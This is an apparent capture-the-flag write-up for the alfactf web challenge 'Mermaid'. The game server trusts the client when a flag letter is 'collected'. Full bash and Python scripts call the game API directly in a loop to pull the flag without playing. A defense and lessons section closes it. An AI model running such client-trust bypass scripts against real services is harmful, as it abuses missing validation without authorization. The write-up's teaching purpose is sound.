Mermaid
Mermaid
Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-18 | Status: Solved Techniques: API endpoint enumeration from client JS, Game logic bypass via direct API calls, Server-side validation absence exploitation
Summary
Task: JavaScript web game with server-side API for tracking flag letter collection. Solution: Bypassed game logic by directly calling API endpoints (next-letter → collect-letter) without actually playing, exploiting missing server-side validation.
Mermaid — alfactf.ru
Description
Вы решаете разнообразить отдых и половить рыбу, но отвлекаетесь на чьё-то пение. Из воды показывается прекрасная русалка и зовёт пойти за собой.
Не дайте её заманить вас сладкими песнопениями — иначе рискуете сами стать жертвой фишинга. Аккуратно прислушайтесь к тексту песни, держась при этом подальше от русалки.
URL: https://mermaid-j5iwlg9s.alfactf.ru/
Analysis
The task was a JavaScript web game where the player must collect flag letters while avoiding "mermaid songs" (distracting elements).
Examining Client-Side Code
After examining the HTML page, I found the game.js include. In the game code, I discovered API endpoints:
| Endpoint | Method | Description |
|---|---|---|
/api/game/start | POST | Start game, returns sessionId and totalLetters (40) |
/api/game/next-letter/{sessionId} | GET | Get next flag letter |
/api/game/collect-letter/{sessionId} | POST | Confirm letter collection |
/api/game/note/{sessionId} | GET | Get "note" (distracting element) |
/api/game/missed-letter/{sessionId} | POST | Report missed letter |
| |
Vulnerability
The API doesn't verify whether the player actually collected the letter in the game. It's enough to call the endpoints in the correct order (next-letter → collect-letter) to get all flag letters without actually playing the game.
Issue: Lack of server-side validation of the game process. The server trusts the client that the letter was "collected".
Solution
Step 1: Start Game Session
bash read-only • copy allowedcurl -s -X POST 'https://mermaid-j5iwlg9s.alfactf.ru/api/game/start' \ -H 'Content-Type: application/json'
Response:
json read-only • copy allowed{"sessionId": "abc123...", "totalLetters": 40}
Step 2: Automatically Collect All Letters
bash read-only • copy allowed#!/bin/bash BASE_URL="https://mermaid-j5iwlg9s.alfactf.ru" # Get session ID SESSION_ID=$(curl -s -X POST "$BASE_URL/api/game/start" \ -H 'Content-Type: application/json' | jq -r '.sessionId') echo "Session: $SESSION_ID" FLAG="" for i in {1..40}; do # Get next letter LETTER=$(curl -s "$BASE_URL/api/game/next-letter/$SESSION_ID" | jq -r '.nextLetter') # "Collect" the letter (server doesn't verify if it was actually collected) curl -s -X POST "$BASE_URL/api/game/collect-letter/$SESSION_ID" \ -H 'Content-Type: application/json' \ -d "{\"letter\": \"$LETTER\"}" > /dev/null FLAG+="$LETTER" echo -n "$LETTER" done echo "" echo "Flag: $FLAG"
Alternative: Python Script
python read-only • copy allowed#!/usr/bin/env python3 import requests BASE_URL = "https://mermaid-j5iwlg9s.alfactf.ru" # Start game resp = requests.post(f"{BASE_URL}/api/game/start") data = resp.json() session_id = data["sessionId"] total_letters = data["totalLetters"] print(f"Session: {session_id}, Total letters: {total_letters}") flag = "" for i in range(total_letters): # Get next letter resp = requests.get(f"{BASE_URL}/api/game/next-letter/{session_id}") letter = resp.json()["nextLetter"] # "Collect" the letter requests.post( f"{BASE_URL}/api/game/collect-letter/{session_id}", json={"letter": letter} ) flag += letter print(letter, end="", flush=True) print(f"\n\nFlag: {flag}")
Defense
To protect against this attack, developers should:
- Server-side validation — verify that the player actually performed the action (e.g., through timing or proof-of-work)
- Rate limiting — limit the frequency of API requests
- Captcha/Challenge — add verification before issuing each letter
- Obfuscation — don't deliver letters directly, encrypt them or only deliver after game completion
Lessons
- Never trust the client in web games
- Always check API endpoints in DevTools/source code
- Game logic should be on the server, not the client